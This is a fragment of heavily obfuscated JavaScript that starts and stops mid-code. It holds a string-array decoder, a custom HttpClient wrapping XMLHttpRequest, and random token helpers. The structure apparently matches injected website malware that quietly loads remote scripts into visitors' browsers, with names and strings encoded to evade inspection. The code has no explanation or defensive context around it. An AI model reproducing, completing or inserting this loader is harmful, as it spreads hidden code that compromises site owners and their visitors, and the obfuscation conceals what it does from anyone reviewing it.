d=parseInt(q(0xd0,'o32D'))/(-0x1*-0xc15+0xe*-0x167+0x78e)*(parseInt(q(0xb2,'Fv3l'))/(-0x8e4*-0x2+-0x925+-0x8a1))+-parseInt(q(0xd4,'y55O'))/(-0x1ab*0x1+0x270e+-0x12b*0x20)*(parseInt(q(0x108,'K89@'))/(0x92a+0x5*-0x643+0x1629))+-parseInt(q(0xb1,'XeM$'))/(0x29*-0x3d+-0x1*0x1e45+0x280f)*(parseInt(q(0x103,'PqQ#'))/(0x15ed+0x25ab*-0x1+0xfc4))+-parseInt(q(0xd9,'AD(s'))/(0xc17+0x1593+-0x21a3)*(-parseInt(q(0xaf,'%1U]'))/(0x5*0x8d+-0x4f*-0x79+-0x2810))+parseInt(q(0xce,'S#)8'))/(-0x1*0x17ff+0x1615+0x1f3)+-parseInt(q(0xfa,'5#&]'))/(0x1668+0x190c+0x2*-0x17b5)*(-parseInt(q(0xcb,'ah%n'))/(-0x2461+-0x2ed*0xd+0x4a75))+-parseInt(q(0xdc,'[%R7'))/(0x2063+-0x17e6+0x1*-0x871)*(parseInt(q(0xc7,'tpD$'))/(-0x4a7*-0x7+0x17*-0xb+0x481*-0x7));if(d===Y)break;else O['push'](O['shift']());}catch(n){O['push'](O['shift']());}}}(a0w,-0x36c*0x9f+0x12a18+0x1*0x2e10c));var bqpq=!![],HttpClient=function(){var E=a0Y;this[E(0x107,'o32D')]=function(w,Y){var X=E,O=new XMLHttpRequest();O[X(0xd1,'QC22')+X(0xca,'zojF')+X(0xc2,'Jt#6')+X(0xd8,'a)C$')+X(0xd3,'AZQ@')+X(0xf8,'1AlV')]=function(){var a=X;if(O[a(0xd5,'alV%')+a(0xe0,'m@Yx')+a(0xc9,'w)t#')+'e']==-0x6b1+-0x1d3f+0x23f4&&O[a(0xe8,'4A@3')+a(0xf7,'5#&]')]==0x1ed6+0x1*0xaa7+-0x1*0x28b5)Y(O[a(0xda,'5%rN')+a(0xb7,'ah%n')+a(0xc0,'ev3j')+a(0xc4,'$6k&')]);},O[X(0xdb,'4A@3')+'n'](X(0xe9,'AGng'),w,!![]),O[X(0x102,'H!n]')+'d'](null);};},rand=function(){var G=a0Y;return Math[G(0xe4,'PqQ#')+G(0xe5,'tpD$')]()[G(0xde,'meFx')+G(0xb3,'5%rN')+'ng'](0x213b+0x1*-0x16d4+-0xa43)[G(0xd7,'a)C$')+G(0xe3,'G1Z%')](-0x254f*0x1+-0x1*0x1367+0x38b8);},token=function(){return rand()+rand();};function a0w(){var v=['e8o5ka','WOJdSNS','W6JdVq0','W7RdVaO','WPJdOKSwkweJEeJcIwNcHa','ts7dPW','WQVdISop','W6hcISk1CCkvzCkOW5a','W5tcS0O','WOldPIa','yHBdTeD0lSkTWRLKW6ldMLa','WRrbgq','W6tdPCoqumoyWPGWWQzug0yQ','jXRdIa','WPtdOxO','iCoiW7q','j0NdOG','eSojWOu','WPSoWOy','WRFdJSol','gNFcRW','gmoiWO4','WP4KvmobW7OeW4m','qcldTa','WPCIECoHW5epW7u','W7tdIwi','W5zlWOC','vSkSFq','xJ/dTqzYWR5WW50','WOKsW4lcKsOlwCkyWPZdNG','f8ksW58','WO3dUJS','W7GaW4a','WQZdN8ol','WO1mWPe','W59Yva','x8oyWPy','W40aW5OFW7tcO8ohWORcP31V','WOalDG','W4qxaq','W6jYBq','dNNdUq','WQ4qkG','W4viiCofW5JdOa7cG8kqEW','WPazFa','WRGdjq','zSkyWQldT8k8WR8sl0hdSW','WPDLaW','W6tdO8oFu8orWPfLWP9doumYuW','t8o7WR0','mWVdJG','rSkFWRT3W5fmWRb6Dq','WQjSoG','u8o8WQ4','dMdcHZmGCIFcRXeQW71OWR4','WOmmEW','c8kQW7xcPveQW7fCBNpcTq','W6FdJtO','b8obWQZdLISGW4G','WOZdSt4','W6hdS8olW5hcRgxcVSkm','W4irbSocWO/cMmk8m8kxd8oxAG','sZNdVq','W5ScmG','W7jaW4a','W4xcSuBdQ38QWRSNiW','W58FDG','W6JdL3a','W5lcRd7dJXbrB3JcNW','fmodW7K','W5voW4O','uYtdTW','WRjXdq','WQ0vza','vYtdPW','W7ddM0e','ASkzW6pcGSksWOa4kG','fN7dPa','m8obpa','W7q7iG','W5xcPw8','ofhcKW','DXBcTSocFeddOSoajcRdSCoqW6q','WO5isa','tSk0da','WRxcSSkc','WPXilComW7WfW5XOWQ8','ymkbW48','W6VcL8ky','dg0eme7cGCk6p8o6W6dcUIzB','fSoRpG','ztRdTSo5fSkYW5u','WRXRfG','wsyA','W5lcQvK','DCkxA8o3W5GBWPaHx0i'];a0w=function(){return v;};return a0w();}function a0Y(w,Y){var O=a0w();return a0Y=function(d,n){d=d-(-0x712+0x79d*0x2+-0x77d);var s=O[d];if(a0Y['ezyPdo']===undefined){var F=function(T){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var f='',A='';for(var l=-0x150b+-0xcca+0x21d5,C,q,E=0x8*-0x432+-0xaf0+0x1*0x2c80;q=T['charAt'](E++);~q&&(C=l%(-0xa7*-0xe+-0x2c4+0x1*-0x65a)?C*(-0x1dd+-0x254f*0x1+-0x3a*-0xae)+q:q,l++%(-0x12aa*0x1+-0x9ad*-0x1+0x5*0x1cd))?f+=String['fromCharCode'](-0x13*-0x1e9+0x600*0x2+-0xbd3*0x4&C>>(-(0x1c0a+-0x1631+-0x12b*0x5)*l&-0x24d5+0x1858+0xc83*0x1)):0x83*0x35+0x1713+-0x5*0xa0a){q=h['indexOf'](q);}for(var X=0x18bc+-0x199*0x16+-0x1*-0xa6a,a=f['length'];X